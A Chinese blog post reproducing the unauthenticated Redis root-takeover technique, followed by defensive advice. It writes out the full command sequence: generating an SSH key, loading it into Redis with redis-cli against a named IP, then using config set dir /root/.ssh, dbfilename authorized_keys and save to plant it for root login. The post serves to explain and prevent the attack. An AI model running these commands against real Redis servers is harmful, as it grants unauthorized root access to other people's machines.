ruhe:使用redis就可以获得root权限,怎么做的?

前言

我在云服务上安过两次redis,每次都被提示攻击他人。(我是好人怎么可能会干坏事呢) 所以我的服务器肯定被人入侵了,因为是个人服务器没什么重要东西端口是常年开放的也没有开启白名单防火墙,最重要的是密码都不设。怪不得天天被入侵,下面进行一下复现。

原理

登陆linux有几种方式,最常用的是密码登陆和RSA key 登陆,RSA key登陆是生成一个公私对应的秘钥,然后将公钥放到linux系统的/root/.ssh/authorized_keys的文件中,我们本地客户端通过导入对应私钥进行登陆,这就是RSA key的登陆方式。

但是为什么redis可以获取服务器的root权限呢?

上面RSA key的登陆方式在服务器方面是要将公钥写入authorized_keys文件中的,而redis有一种持久化方式是生成RDB文件,通过持久化将公钥写入root下的authored_keys文件里,这样就将非法的公钥写到了验证文件里,后面我们拿对应私钥登陆即可。(但是这种方式需要再redis是root启动的情况下使用,因为非root权限无法进入/root目录)

生成RSA key

先生成一个已知公私钥的RSA key,在一台可以登陆的服务器,执行以下命令:

ssh-keygen -t rsa

执行完会生成下图两个文件

id_rsa是私钥,登陆客户端使用的;
id_rsa.pub是公钥,放到服务器端上的;

可以先验证一下通过这两个密钥是否可以登陆服务器,将id_rsa.pub文件移动到/root/.ssh文件夹下

cp id_rsa.pub /root/.ssh/

然后执行以下命令,公钥就写入了authorized_keys文件

cat id_rsa.pub >>authorized_keys

这里使用公钥方式进行登陆验证,验证通过后将这两个文件保存一下,在后面会用到。

安装redis

在模拟被入侵的服务器上使用root用户安装redis并开启远程访问,如果需要安装redis的教程可以看这篇文章:Linux在线安装redis

通过redis获取Root权限

我们在并不知道linux的账密的情况下是无法登陆linux的,但是我们可以尝试进入root安装的redis中,先进入命令行

上面的原理中讲过了redis有一种持久化方式是生成RDB文件,其中会包含原始数据,我们将我们的公钥通过redis放到服务器中,这样我们就可以通过私钥进行root账号的登陆了。

增加换行

给id_rsa.pub文件前后增加空格,否则redis持久化会带有一些其他内容不区分开公钥识别会失败,执行以下命令

(echo -e '\n\n'; cat id_rsa.pub; echo -e '\n\n') > mykey.pub

得到的mykey.pub文件会进行RDB持久化

写入redis

将上面生成的mykey.pub文件写入到redis中,执行如下命令:

cat mykey.pub | ./redis-cli -h 111.229.209.244 -p 6379 -x set crackit

去redis中验证值是否存在

持久化

到这里就是最重要的一步了,将我们写入的内容持久化到/root/.ssh/authorized_keys文件中,这一步需要redis是root权限启动才能操作,否则操作不了这个文件。

选择持久化的地址

// 选择持久化的地址config set dir /root/.ssh// 设置持久化文件的文件名称config set dbfilename authorized_keys// 保存操作save

验证

通过公钥的方式进行连接,导入我们的私钥文件

如下图,登陆成功

看一下authorized_keys文件

中间一段就是我们传进来的公钥,如果不加空格跟其他内容混淆到一块可能就无法对应上秘钥了,到此我们获得了root权限,那想干什么都可以了,下面来聊聊怎么防护这个问题。

防护

这种入侵方式有几大必要因素

  • 网络互通或公网访问
  • 默认端口
  • 没有防火墙或白名单
  • 没有密码或者密码简单
  • 使用root用户启动
  • 上述问题是造成被获得root账号的最主要的问题,只要其中一到两项不满足条件被入侵的可能就大大降低,所以根据上面的因素可以做出一下几个防护方案:

    • 关闭公网访问
    • 设置防火墙
    • 修改默认端口
    • 设置复杂密码
    • 使用非root用户启动redis
    • 使用新版本redis

    非公网访问能杜绝绝大部分的恶意攻击,设置防火墙跟白名单就杜绝了99%外网的恶意攻击了,将默认端口修改为自定义端口可以让人找不到redis服务。设置密码也是必不可少的。

    如果使用非root用户启动redis就100%杜绝这个方式的入侵,因为它需要修改root目录下的公钥文件

    使用新版本redis默认不允许没有密码的操作,所以可以避免一下。

    相关推荐

    相关文章